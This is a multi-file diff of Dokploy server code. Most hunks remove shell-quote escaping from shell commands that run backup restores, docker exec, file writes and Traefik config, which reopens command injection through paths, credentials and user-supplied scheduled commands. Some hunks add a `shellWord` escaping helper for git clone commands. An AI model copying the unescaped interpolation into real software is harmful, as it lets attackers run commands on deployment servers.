const command = `cd ${quote([repoPath])} && git ls-tree -r --name-only HEAD`; const command = `cd "${repoPath}" && git ls-tree -r --name-only HEAD`;
let stdout: string; let stdout: string;
try { try {
@@ -169,7 +168,7 @@ export const readPatchRepoFile = async (
const repoPath = join(PATCH_REPOS_PATH, type, application.appName); const repoPath = join(PATCH_REPOS_PATH, type, application.appName);
const fullPath = join(repoPath, filePath); const fullPath = join(repoPath, filePath);
const command = `cat ${quote([fullPath])}`; const command = `cat "${fullPath}"`;
if (serverId) { if (serverId) {
const result = await execAsyncRemote(serverId, command); const result = await execAsyncRemote(serverId, command);

View File

@@ -430,7 +430,7 @@ export const createOrganizationUserWithCredentials = async ({
.insert(user) .insert(user)
.values({ .values({
email: normalizedEmail, email: normalizedEmail,
emailVerified: true, emailVerified: false,
updatedAt: now, updatedAt: now,
}) })
.returning({ .returning({

View File

@@ -72,16 +72,16 @@ export const getS3Credentials = (destination: Destination) => {
const { accessKey, secretAccessKey, region, endpoint, provider } = const { accessKey, secretAccessKey, region, endpoint, provider } =
destination; destination;
const rcloneFlags = [ const rcloneFlags = [
`--s3-access-key-id=${quote([accessKey])}`, `--s3-access-key-id="${accessKey}"`,
`--s3-secret-access-key=${quote([secretAccessKey])}`, `--s3-secret-access-key="${secretAccessKey}"`,
`--s3-region=${quote([region])}`, `--s3-region="${region}"`,
`--s3-endpoint=${quote([endpoint])}`, `--s3-endpoint="${endpoint}"`,
"--s3-no-check-bucket", "--s3-no-check-bucket",
"--s3-force-path-style", "--s3-force-path-style",
]; ];
if (provider) { if (provider) {
rcloneFlags.unshift(`--s3-provider=${quote([provider])}`); rcloneFlags.unshift(`--s3-provider="${provider}"`);
} }
if (destination.additionalFlags?.length) { if (destination.additionalFlags?.length) {

View File

@@ -14,7 +14,6 @@ import { deployMySql } from "@dokploy/server/services/mysql";
import { deployPostgres } from "@dokploy/server/services/postgres"; import { deployPostgres } from "@dokploy/server/services/postgres";
import { deployRedis } from "@dokploy/server/services/redis"; import { deployRedis } from "@dokploy/server/services/redis";
import { eq } from "drizzle-orm"; import { eq } from "drizzle-orm";
import { quote } from "shell-quote";
import { removeService } from "../docker/utils"; import { removeService } from "../docker/utils";
import { execAsync, execAsyncRemote } from "../process/execAsync"; import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -41,7 +40,7 @@ export const rebuildDatabase = async (
for (const mount of database.mounts) { for (const mount of database.mounts) {
if (mount.type === "volume") { if (mount.type === "volume") {
const command = `docker volume rm ${quote([mount?.volumeName ?? ""])} --force`; const command = `docker volume rm ${mount?.volumeName} --force`;
if (database.serverId) { if (database.serverId) {
await execAsyncRemote(database.serverId, command); await execAsyncRemote(database.serverId, command);
} else { } else {

View File

@@ -3,6 +3,7 @@ import { join } from "node:path";
import { paths } from "@dokploy/server/constants"; import { paths } from "@dokploy/server/constants";
import type { Compose } from "@dokploy/server/services/compose"; import type { Compose } from "@dokploy/server/services/compose";
import type { Domain } from "@dokploy/server/services/domain"; import type { Domain } from "@dokploy/server/services/domain";
import { quote } from "shell-quote";
import { parse, stringify } from "yaml"; import { parse, stringify } from "yaml";
import { execAsyncRemote } from "../process/execAsync"; import { execAsyncRemote } from "../process/execAsync";
import { cloneBitbucketRepository } from "../providers/bitbucket"; import { cloneBitbucketRepository } from "../providers/bitbucket";
@@ -125,8 +126,11 @@ exit 1;
const encodedContent = encodeBase64(composeString); const encodedContent = encodeBase64(composeString);
return `echo "${encodedContent}" | base64 -d > "${path}";`; return `echo "${encodedContent}" | base64 -d > "${path}";`;
} catch (error) { } catch (error) {
// @ts-ignore const message =
return `echo "❌ Has occurred an error: ${error?.message || error}"; error instanceof Error ? error.message : String(error ?? "");
// The error message embeds user-controlled fields (e.g. serviceName) and is
// executed as part of the compose build shell script, so it must be escaped.
return `echo ${quote([`❌ Has occurred an error: ${message}`])};
exit 1; exit 1;
`; `;
} }

View File

@@ -712,14 +712,14 @@ export const getCreateFileCommand = (
) => { ) => {
const fullPath = path.join(outputPath, filePath); const fullPath = path.join(outputPath, filePath);
if (fullPath.endsWith(path.sep) || filePath.endsWith("/")) { if (fullPath.endsWith(path.sep) || filePath.endsWith("/")) {
return `mkdir -p ${quote([fullPath])};`; return `mkdir -p ${fullPath};`;
} }
const directory = path.dirname(fullPath); const directory = path.dirname(fullPath);
const encodedContent = encodeBase64(content); const encodedContent = encodeBase64(content);
return ` return `
mkdir -p ${quote([directory])}; mkdir -p ${directory};
echo "${encodedContent}" | base64 -d > ${quote([fullPath])}; echo "${encodedContent}" | base64 -d > "${fullPath}";
`; `;
}; };

View File

@@ -10,8 +10,8 @@ import {
} from "@dokploy/server/services/bitbucket"; } from "@dokploy/server/services/bitbucket";
import type { InferResultType } from "@dokploy/server/types/with"; import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { quote } from "shell-quote";
import type { z } from "zod"; import type { z } from "zod";
import { shellWord } from "./utils";
export type ApplicationWithBitbucket = InferResultType< export type ApplicationWithBitbucket = InferResultType<
"applications", "applications",
@@ -125,8 +125,8 @@ export const cloneBitbucketRepository = async ({
const repoToUse = entity.bitbucketRepositorySlug || bitbucketRepository; const repoToUse = entity.bitbucketRepositorySlug || bitbucketRepository;
const repoclone = `bitbucket.org/${bitbucketOwner}/${repoToUse}.git`; const repoclone = `bitbucket.org/${bitbucketOwner}/${repoToUse}.git`;
const cloneUrl = getBitbucketCloneUrl(bitbucket, repoclone); const cloneUrl = getBitbucketCloneUrl(bitbucket, repoclone);
command += `echo ${quote([`Cloning Repo ${repoclone} to ${outputPath}: ✅`])};`; command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${quote([String(bitbucketBranch ?? "")])} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${quote([String(cloneUrl ?? "")])} ${quote([String(outputPath ?? "")])} --progress;`; command += `git clone --branch ${shellWord(bitbucketBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command; return command;
}; };

View File

@@ -4,8 +4,8 @@ import {
findSSHKeyById, findSSHKeyById,
updateSSHKeyById, updateSSHKeyById,
} from "@dokploy/server/services/ssh-key"; } from "@dokploy/server/services/ssh-key";
import { quote } from "shell-quote";
import { execAsync, execAsyncRemote } from "../process/execAsync"; import { execAsync, execAsyncRemote } from "../process/execAsync";
import { shellWord } from "./utils";
interface CloneGitRepository { interface CloneGitRepository {
appName: string; appName: string;
@@ -62,7 +62,7 @@ export const cloneGitRepository = async ({
} }
command += `rm -rf ${outputPath};`; command += `rm -rf ${outputPath};`;
command += `mkdir -p ${outputPath};`; command += `mkdir -p ${outputPath};`;
command += `echo ${quote([`Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅`])};`; command += `echo ${shellWord(`Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅`)};`;
if (customGitSSHKeyId) { if (customGitSSHKeyId) {
await updateSSHKeyById({ await updateSSHKeyById({
@@ -79,8 +79,8 @@ export const cloneGitRepository = async ({
command += "chmod 600 /tmp/id_rsa;"; command += "chmod 600 /tmp/id_rsa;";
command += `export GIT_SSH_COMMAND="${gitSshCommand}";`; command += `export GIT_SSH_COMMAND="${gitSshCommand}";`;
} }
command += `if ! git clone --branch ${quote([String(customGitBranch ?? "")])} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${quote([String(customGitUrl ?? "")])} ${quote([String(outputPath ?? "")])}; then command += `if ! git clone --branch ${shellWord(customGitBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${shellWord(customGitUrl)} ${shellWord(outputPath)}; then
echo ${quote([`❌ [ERROR] Fail to clone the repository ${customGitUrl}`])}; echo ${shellWord(`❌ [ERROR] Fail to clone the repository ${customGitUrl}`)};
exit 1; exit 1;
fi fi
`; `;
@@ -115,7 +115,7 @@ const addHostToKnownHostsCommand = (repositoryURL: string) => {
// ssh-keyscan is best-effort: some Git hosts (e.g. Hugging Face) never answer // ssh-keyscan is best-effort: some Git hosts (e.g. Hugging Face) never answer
// it, and its exit code must not abort the clone under `set -e`. The clone's // it, and its exit code must not abort the clone under `set -e`. The clone's
// own host-key check (StrictHostKeyChecking=accept-new) is the real boundary. // own host-key check (StrictHostKeyChecking=accept-new) is the real boundary.
return `ssh-keyscan -p ${Number(port)} ${quote([String(domain ?? "")])} >> ${knownHostsPath} || true;`; return `ssh-keyscan -p ${Number(port)} ${shellWord(domain)} >> ${knownHostsPath} || true;`;
}; };
const sanitizeRepoPathSSH = (input: string) => { const sanitizeRepoPathSSH = (input: string) => {
const SSH_PATH_RE = new RegExp( const SSH_PATH_RE = new RegExp(

View File

@@ -7,7 +7,7 @@ import {
} from "@dokploy/server/services/gitea"; } from "@dokploy/server/services/gitea";
import type { InferResultType } from "@dokploy/server/types/with"; import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { quote } from "shell-quote"; import { shellWord } from "./utils";
export const getErrorCloneRequirements = (entity: { export const getErrorCloneRequirements = (entity: {
giteaRepository?: string | null; giteaRepository?: string | null;
@@ -177,8 +177,8 @@ export const cloneGiteaRepository = async ({
giteaRepository!, giteaRepository!,
); );
command += `echo ${quote([`Cloning Repo ${repoClone} to ${outputPath}: ✅`])};`; command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${quote([String(giteaBranch ?? "")])} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${quote([String(cloneUrl ?? "")])} ${quote([String(outputPath ?? "")])} --progress;`; command += `git clone --branch ${shellWord(giteaBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command; return command;
}; };

View File

@@ -6,8 +6,8 @@ import type { InferResultType } from "@dokploy/server/types/with";
import { createAppAuth } from "@octokit/auth-app"; import { createAppAuth } from "@octokit/auth-app";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { Octokit } from "octokit"; import { Octokit } from "octokit";
import { quote } from "shell-quote";
import type { z } from "zod"; import type { z } from "zod";
import { shellWord } from "./utils";
export const authGithub = (githubProvider: Github): Octokit => { export const authGithub = (githubProvider: Github): Octokit => {
if (!haveGithubRequirements(githubProvider)) { if (!haveGithubRequirements(githubProvider)) {
@@ -167,8 +167,8 @@ export const cloneGithubRepository = async ({
command += `mkdir -p ${outputPath};`; command += `mkdir -p ${outputPath};`;
const cloneUrl = `https://oauth2:${token}@${repoclone}`; const cloneUrl = `https://oauth2:${token}@${repoclone}`;
command += `echo ${quote([`Cloning Repo ${repoclone} to ${outputPath}: ✅`])};`; command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${quote([String(branch ?? "")])} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${quote([String(cloneUrl ?? "")])} ${quote([String(outputPath ?? "")])} --progress;`; command += `git clone --branch ${shellWord(branch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command; return command;
}; };

View File

@@ -8,8 +8,8 @@ import {
} from "@dokploy/server/services/gitlab"; } from "@dokploy/server/services/gitlab";
import type { InferResultType } from "@dokploy/server/types/with"; import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { quote } from "shell-quote";
import type { z } from "zod"; import type { z } from "zod";
import { shellWord } from "./utils";
export const refreshGitlabToken = async (gitlabProviderId: string) => { export const refreshGitlabToken = async (gitlabProviderId: string) => {
const gitlabProvider = await findGitlabById(gitlabProviderId); const gitlabProvider = await findGitlabById(gitlabProviderId);
@@ -152,8 +152,8 @@ export const cloneGitlabRepository = async ({
command += `mkdir -p ${outputPath};`; command += `mkdir -p ${outputPath};`;
const repoClone = getGitlabRepoClone(gitlab, gitlabPathNamespace); const repoClone = getGitlabRepoClone(gitlab, gitlabPathNamespace);
const cloneUrl = getGitlabCloneUrl(gitlab, repoClone); const cloneUrl = getGitlabCloneUrl(gitlab, repoClone);
command += `echo ${quote([`Cloning Repo ${repoClone} to ${outputPath}: ✅`])};`; command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${quote([String(gitlabBranch ?? "")])} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${quote([String(cloneUrl ?? "")])} ${quote([String(outputPath ?? "")])} --progress;`; command += `git clone --branch ${shellWord(gitlabBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command; return command;
}; };

View File

@@ -0,0 +1,10 @@
import { quote } from "shell-quote";
/**
* Escapes a single value so it can be safely interpolated as one argument into
* a `/bin/sh -c` command string (both local `execAsync` and remote SSH
* `execAsyncRemote`). User-controlled fields such as git URLs, branch names,
* repository owners and SSH hostnames must never reach a shell unescaped.
*/
export const shellWord = (value: string | number | null | undefined): string =>
quote([String(value ?? "")]);

View File

@@ -1,7 +1,6 @@
import type { apiRestoreBackup } from "@dokploy/server/db/schema"; import type { apiRestoreBackup } from "@dokploy/server/db/schema";
import type { Compose } from "@dokploy/server/services/compose"; import type { Compose } from "@dokploy/server/services/compose";
import type { Destination } from "@dokploy/server/services/destination"; import type { Destination } from "@dokploy/server/services/destination";
import { quote } from "shell-quote";
import type { z } from "zod"; import type { z } from "zod";
import { getS3Credentials } from "../backups/utils"; import { getS3Credentials } from "../backups/utils";
import { execAsync, execAsyncRemote } from "../process/execAsync"; import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -27,10 +26,10 @@ export const restoreComposeBackup = async (
const rcloneFlags = getS3Credentials(destination); const rcloneFlags = getS3Credentials(destination);
const bucketPath = `:s3:${destination.bucket}`; const bucketPath = `:s3:${destination.bucket}`;
const backupPath = `${bucketPath}/${backupInput.backupFile}`; const backupPath = `${bucketPath}/${backupInput.backupFile}`;
let rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} ${quote([backupPath])} | gunzip`; let rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} "${backupPath}" | gunzip`;
if (backupInput.metadata?.mongo) { if (backupInput.metadata?.mongo) {
rcloneCommand = `rclone copy ${rcloneFlags.join(" ")} ${quote([backupPath])}`; rcloneCommand = `rclone copy ${rcloneFlags.join(" ")} "${backupPath}"`;
} }
let credentials: DatabaseCredentials = {}; let credentials: DatabaseCredentials = {};

View File

@@ -1,7 +1,6 @@
import type { apiRestoreBackup } from "@dokploy/server/db/schema"; import type { apiRestoreBackup } from "@dokploy/server/db/schema";
import type { Destination } from "@dokploy/server/services/destination"; import type { Destination } from "@dokploy/server/services/destination";
import type { Libsql } from "@dokploy/server/services/libsql"; import type { Libsql } from "@dokploy/server/services/libsql";
import { quote } from "shell-quote";
import type { z } from "zod"; import type { z } from "zod";
import { getS3Credentials, getServiceContainerCommand } from "../backups/utils"; import { getS3Credentials, getServiceContainerCommand } from "../backups/utils";
import { execAsync, execAsyncRemote } from "../process/execAsync"; import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -20,7 +19,7 @@ export const restoreLibsqlBackup = async (
const backupPath = `${bucketPath}/${backupInput.backupFile}`; const backupPath = `${bucketPath}/${backupInput.backupFile}`;
const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} ${quote([backupPath])}`; const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} "${backupPath}"`;
const containerSearch = getServiceContainerCommand(appName); const containerSearch = getServiceContainerCommand(appName);
const restoreCommand = `docker exec -i $CONTAINER_ID sh -c "tar xzf - -C /var/lib/sqld"`; const restoreCommand = `docker exec -i $CONTAINER_ID sh -c "tar xzf - -C /var/lib/sqld"`;

View File

@@ -1,7 +1,6 @@
import type { apiRestoreBackup } from "@dokploy/server/db/schema"; import type { apiRestoreBackup } from "@dokploy/server/db/schema";
import type { Destination } from "@dokploy/server/services/destination"; import type { Destination } from "@dokploy/server/services/destination";
import type { Mariadb } from "@dokploy/server/services/mariadb"; import type { Mariadb } from "@dokploy/server/services/mariadb";
import { quote } from "shell-quote";
import type { z } from "zod"; import type { z } from "zod";
import { getS3Credentials } from "../backups/utils"; import { getS3Credentials } from "../backups/utils";
import { execAsync, execAsyncRemote } from "../process/execAsync"; import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -20,7 +19,7 @@ export const restoreMariadbBackup = async (
const bucketPath = `:s3:${destination.bucket}`; const bucketPath = `:s3:${destination.bucket}`;
const backupPath = `${bucketPath}/${backupInput.backupFile}`; const backupPath = `${bucketPath}/${backupInput.backupFile}`;
const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} ${quote([backupPath])} | gunzip`; const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} "${backupPath}" | gunzip`;
const command = getRestoreCommand({ const command = getRestoreCommand({
appName, appName,

View File

@@ -1,7 +1,6 @@
import type { apiRestoreBackup } from "@dokploy/server/db/schema"; import type { apiRestoreBackup } from "@dokploy/server/db/schema";
import type { Destination } from "@dokploy/server/services/destination"; import type { Destination } from "@dokploy/server/services/destination";
import type { Mongo } from "@dokploy/server/services/mongo"; import type { Mongo } from "@dokploy/server/services/mongo";
import { quote } from "shell-quote";
import type { z } from "zod"; import type { z } from "zod";
import { getS3Credentials } from "../backups/utils"; import { getS3Credentials } from "../backups/utils";
import { execAsync, execAsyncRemote } from "../process/execAsync"; import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -19,7 +18,7 @@ export const restoreMongoBackup = async (
const rcloneFlags = getS3Credentials(destination); const rcloneFlags = getS3Credentials(destination);
const bucketPath = `:s3:${destination.bucket}`; const bucketPath = `:s3:${destination.bucket}`;
const backupPath = `${bucketPath}/${backupInput.backupFile}`; const backupPath = `${bucketPath}/${backupInput.backupFile}`;
const rcloneCommand = `rclone copy ${rcloneFlags.join(" ")} ${quote([backupPath])}`; const rcloneCommand = `rclone copy ${rcloneFlags.join(" ")} "${backupPath}"`;
const command = getRestoreCommand({ const command = getRestoreCommand({
appName, appName,

View File

@@ -1,7 +1,6 @@
import type { apiRestoreBackup } from "@dokploy/server/db/schema"; import type { apiRestoreBackup } from "@dokploy/server/db/schema";
import type { Destination } from "@dokploy/server/services/destination"; import type { Destination } from "@dokploy/server/services/destination";
import type { MySql } from "@dokploy/server/services/mysql"; import type { MySql } from "@dokploy/server/services/mysql";
import { quote } from "shell-quote";
import type { z } from "zod"; import type { z } from "zod";
import { getS3Credentials } from "../backups/utils"; import { getS3Credentials } from "../backups/utils";
import { execAsync, execAsyncRemote } from "../process/execAsync"; import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -20,7 +19,7 @@ export const restoreMySqlBackup = async (
const bucketPath = `:s3:${destination.bucket}`; const bucketPath = `:s3:${destination.bucket}`;
const backupPath = `${bucketPath}/${backupInput.backupFile}`; const backupPath = `${bucketPath}/${backupInput.backupFile}`;
const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} ${quote([backupPath])} | gunzip`; const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} "${backupPath}" | gunzip`;
const command = getRestoreCommand({ const command = getRestoreCommand({
appName, appName,

View File

@@ -1,7 +1,6 @@
import type { apiRestoreBackup } from "@dokploy/server/db/schema"; import type { apiRestoreBackup } from "@dokploy/server/db/schema";
import type { Destination } from "@dokploy/server/services/destination"; import type { Destination } from "@dokploy/server/services/destination";
import type { Postgres } from "@dokploy/server/services/postgres"; import type { Postgres } from "@dokploy/server/services/postgres";
import { quote } from "shell-quote";
import type { z } from "zod"; import type { z } from "zod";
import { getS3Credentials } from "../backups/utils"; import { getS3Credentials } from "../backups/utils";
import { execAsync, execAsyncRemote } from "../process/execAsync"; import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -21,7 +20,7 @@ export const restorePostgresBackup = async (
const backupPath = `${bucketPath}/${backupInput.backupFile}`; const backupPath = `${bucketPath}/${backupInput.backupFile}`;
const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} ${quote([backupPath])} | gunzip`; const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} "${backupPath}" | gunzip`;
const command = getRestoreCommand({ const command = getRestoreCommand({
appName, appName,

View File

@@ -92,8 +92,8 @@ rm -rf ${tempDir} && \
mkdir -p ${tempDir} && \ mkdir -p ${tempDir} && \
${rcloneCommand} ${tempDir} && \ ${rcloneCommand} ${tempDir} && \
cd ${tempDir} && \ cd ${tempDir} && \
gunzip -f ${quote([fileName])} && \ gunzip -f "${fileName}" && \
${restoreCommand} < ${quote([decompressedName])} && \ ${restoreCommand} < "${decompressedName}" && \
rm -rf ${tempDir} rm -rf ${tempDir}
`; `;
}; };

View File

@@ -3,7 +3,6 @@ import { tmpdir } from "node:os";
import { join } from "node:path"; import { join } from "node:path";
import { IS_CLOUD, paths } from "@dokploy/server/constants"; import { IS_CLOUD, paths } from "@dokploy/server/constants";
import type { Destination } from "@dokploy/server/services/destination"; import type { Destination } from "@dokploy/server/services/destination";
import { quote } from "shell-quote";
import { getS3Credentials } from "../backups/utils"; import { getS3Credentials } from "../backups/utils";
import { execAsync } from "../process/execAsync"; import { execAsync } from "../process/execAsync";
@@ -36,7 +35,7 @@ export const restoreWebServerBackup = async (
// Download backup from S3 // Download backup from S3
emit("Downloading backup from S3..."); emit("Downloading backup from S3...");
await execAsync( await execAsync(
`rclone copyto ${rcloneFlags.join(" ")} ${quote([backupPath])} ${quote([`${tempDir}/${backupFile}`])}`, `rclone copyto ${rcloneFlags.join(" ")} "${backupPath}" "${tempDir}/${backupFile}"`,
); );
// List files before extraction // List files before extraction
@@ -46,9 +45,7 @@ export const restoreWebServerBackup = async (
// Extract backup // Extract backup
emit("Extracting backup..."); emit("Extracting backup...");
await execAsync( await execAsync(`cd ${tempDir} && unzip ${backupFile} > /dev/null 2>&1`);
`cd ${quote([tempDir])} && unzip ${quote([backupFile])} > /dev/null 2>&1`,
);
// Restore filesystem first // Restore filesystem first
emit("Restoring filesystem..."); emit("Restoring filesystem...");

View File

@@ -9,7 +9,6 @@ import {
} from "@dokploy/server/services/deployment"; } from "@dokploy/server/services/deployment";
import { findScheduleById } from "@dokploy/server/services/schedule"; import { findScheduleById } from "@dokploy/server/services/schedule";
import { scheduledJobs, scheduleJob as scheduleJobNode } from "node-schedule"; import { scheduledJobs, scheduleJob as scheduleJobNode } from "node-schedule";
import { quote } from "shell-quote";
import { getComposeContainer, getServiceContainer } from "../docker/utils"; import { getComposeContainer, getServiceContainer } from "../docker/utils";
import { execAsyncRemote } from "../process/execAsync"; import { execAsyncRemote } from "../process/execAsync";
import { spawnAsync } from "../process/spawnAsync"; import { spawnAsync } from "../process/spawnAsync";
@@ -78,12 +77,12 @@ export const runCommand = async (scheduleId: string) => {
serverId, serverId,
` `
set -e set -e
echo "Running scheduled command" >> ${quote([deployment.logPath])}; echo "Running command: docker exec ${containerId} ${shellType} -c '${command}'" >> ${deployment.logPath};
docker exec ${quote([containerId])} ${quote([shellType])} -c ${quote([command])} >> ${quote([deployment.logPath])} 2>> ${quote([deployment.logPath])} || { docker exec ${containerId} ${shellType} -c '${command}' >> ${deployment.logPath} 2>> ${deployment.logPath} || {
echo "❌ Command failed" >> ${quote([deployment.logPath])}; echo "❌ Command failed" >> ${deployment.logPath};
exit 1; exit 1;
} }
echo "✅ Command executed successfully" >> ${quote([deployment.logPath])}; echo "✅ Command executed successfully" >> ${deployment.logPath};
`, `,
); );
} catch (error) { } catch (error) {

View File

@@ -3,7 +3,6 @@ import path from "node:path";
import { createInterface } from "node:readline"; import { createInterface } from "node:readline";
import { paths } from "@dokploy/server/constants"; import { paths } from "@dokploy/server/constants";
import type { Domain } from "@dokploy/server/services/domain"; import type { Domain } from "@dokploy/server/services/domain";
import { quote } from "shell-quote";
import { parse, stringify } from "yaml"; import { parse, stringify } from "yaml";
import { encodeBase64 } from "../docker/utils"; import { encodeBase64 } from "../docker/utils";
import { execAsync, execAsyncRemote } from "../process/execAsync"; import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -58,7 +57,7 @@ export const removeTraefikConfig = async (
try { try {
const { DYNAMIC_TRAEFIK_PATH } = paths(!!serverId); const { DYNAMIC_TRAEFIK_PATH } = paths(!!serverId);
const configPath = path.join(DYNAMIC_TRAEFIK_PATH, `${appName}.yml`); const configPath = path.join(DYNAMIC_TRAEFIK_PATH, `${appName}.yml`);
const command = `rm -f ${quote([configPath])}`; const command = `rm -f ${configPath}`;
if (serverId) { if (serverId) {
await execAsyncRemote(serverId, command); await execAsyncRemote(serverId, command);
@@ -77,7 +76,7 @@ export const removeTraefikConfigRemote = async (
try { try {
const { DYNAMIC_TRAEFIK_PATH } = paths(true); const { DYNAMIC_TRAEFIK_PATH } = paths(true);
const configPath = path.join(DYNAMIC_TRAEFIK_PATH, `${appName}.yml`); const configPath = path.join(DYNAMIC_TRAEFIK_PATH, `${appName}.yml`);
await execAsyncRemote(serverId, `rm -f ${quote([configPath])}`); await execAsyncRemote(serverId, `rm -f ${configPath}`);
} catch (error) { } catch (error) {
console.error( console.error(
`Error removing remote traefik config for ${appName}:`, `Error removing remote traefik config for ${appName}:`,
@@ -107,10 +106,7 @@ export const loadOrCreateConfigRemote = async (
const fileConfig: FileConfig = { http: { routers: {}, services: {} } }; const fileConfig: FileConfig = { http: { routers: {}, services: {} } };
const configPath = path.join(DYNAMIC_TRAEFIK_PATH, `${appName}.yml`); const configPath = path.join(DYNAMIC_TRAEFIK_PATH, `${appName}.yml`);
try { try {
const { stdout } = await execAsyncRemote( const { stdout } = await execAsyncRemote(serverId, `cat ${configPath}`);
serverId,
`cat ${quote([configPath])}`,
);
if (!stdout) return fileConfig; if (!stdout) return fileConfig;
@@ -137,10 +133,7 @@ export const readRemoteConfig = async (serverId: string, appName: string) => {
const { DYNAMIC_TRAEFIK_PATH } = paths(true); const { DYNAMIC_TRAEFIK_PATH } = paths(true);
const configPath = path.join(DYNAMIC_TRAEFIK_PATH, `${appName}.yml`); const configPath = path.join(DYNAMIC_TRAEFIK_PATH, `${appName}.yml`);
try { try {
const { stdout } = await execAsyncRemote( const { stdout } = await execAsyncRemote(serverId, `cat ${configPath}`);
serverId,
`cat ${quote([configPath])}`,
);
if (!stdout) return null; if (!stdout) return null;
return stdout; return stdout;
} catch { } catch {
@@ -196,10 +189,7 @@ export const readConfigInPath = async (pathFile: string, serverId?: string) => {
const configPath = path.join(pathFile); const configPath = path.join(pathFile);
if (serverId) { if (serverId) {
const { stdout } = await execAsyncRemote( const { stdout } = await execAsyncRemote(serverId, `cat ${configPath}`);
serverId,
`cat ${quote([configPath])}`,
);
if (!stdout) return null; if (!stdout) return null;
return stdout; return stdout;
} }
@@ -231,7 +221,7 @@ export const writeConfigRemote = async (
const encoded = encodeBase64(traefikConfig); const encoded = encodeBase64(traefikConfig);
await execAsyncRemote( await execAsyncRemote(
serverId, serverId,
`echo "${encoded}" | base64 -d > ${quote([configPath])}`, `echo "${encoded}" | base64 -d > "${configPath}"`,
); );
} catch (e) { } catch (e) {
console.error("Error saving the YAML config file:", e); console.error("Error saving the YAML config file:", e);
@@ -249,7 +239,7 @@ export const writeTraefikConfigInPath = async (
const encoded = encodeBase64(traefikConfig); const encoded = encodeBase64(traefikConfig);
await execAsyncRemote( await execAsyncRemote(
serverId, serverId,
`echo "${encoded}" | base64 -d > ${quote([configPath])}`, `echo "${encoded}" | base64 -d > "${configPath}"`,
); );
} else { } else {
fs.writeFileSync(configPath, traefikConfig, "utf8"); fs.writeFileSync(configPath, traefikConfig, "utf8");
@@ -282,11 +272,7 @@ export const writeTraefikConfigRemote = async (
const { DYNAMIC_TRAEFIK_PATH } = paths(true); const { DYNAMIC_TRAEFIK_PATH } = paths(true);
const configPath = path.join(DYNAMIC_TRAEFIK_PATH, `${appName}.yml`); const configPath = path.join(DYNAMIC_TRAEFIK_PATH, `${appName}.yml`);
const yamlStr = stringify(traefikConfig); const yamlStr = stringify(traefikConfig);
const encoded = encodeBase64(yamlStr); await execAsyncRemote(serverId, `echo '${yamlStr}' > ${configPath}`);
await execAsyncRemote(
serverId,
`echo "${encoded}" | base64 -d > ${quote([configPath])}`,
);
} catch (e) { } catch (e) {
console.error("Error saving the YAML config file:", e); console.error("Error saving the YAML config file:", e);
} }

View File

@@ -1,5 +1,4 @@
import path from "node:path"; import path from "node:path";
import { quote } from "shell-quote";
import { import {
findApplicationById, findApplicationById,
findComposeById, findComposeById,
@@ -24,7 +23,7 @@ export const restoreVolume = async (
const backupPath = `${bucketPath}/${backupFileName}`; const backupPath = `${bucketPath}/${backupFileName}`;
// Command to download backup file from S3 // Command to download backup file from S3
const downloadCommand = `rclone copyto ${rcloneFlags.join(" ")} ${quote([backupPath])} ${quote([`${volumeBackupPath}/${backupFileName}`])}`; const downloadCommand = `rclone copyto ${rcloneFlags.join(" ")} "${backupPath}" "${volumeBackupPath}/${backupFileName}"`;
// Base restore command that creates the volume and restores data // Base restore command that creates the volume and restores data
const baseRestoreCommand = ` const baseRestoreCommand = `
@@ -41,7 +40,7 @@ export const restoreVolume = async (
-v ${volumeName}:/volume_data \ -v ${volumeName}:/volume_data \
-v ${volumeBackupPath}:/backup \ -v ${volumeBackupPath}:/backup \
ubuntu \ ubuntu \
bash -c "cd /volume_data && tar xvf /backup/${quote([backupFileName])} ." bash -c "cd /volume_data && tar xvf /backup/${backupFileName} ."
echo "Volume restore completed ✅" echo "Volume restore completed ✅"
`; `;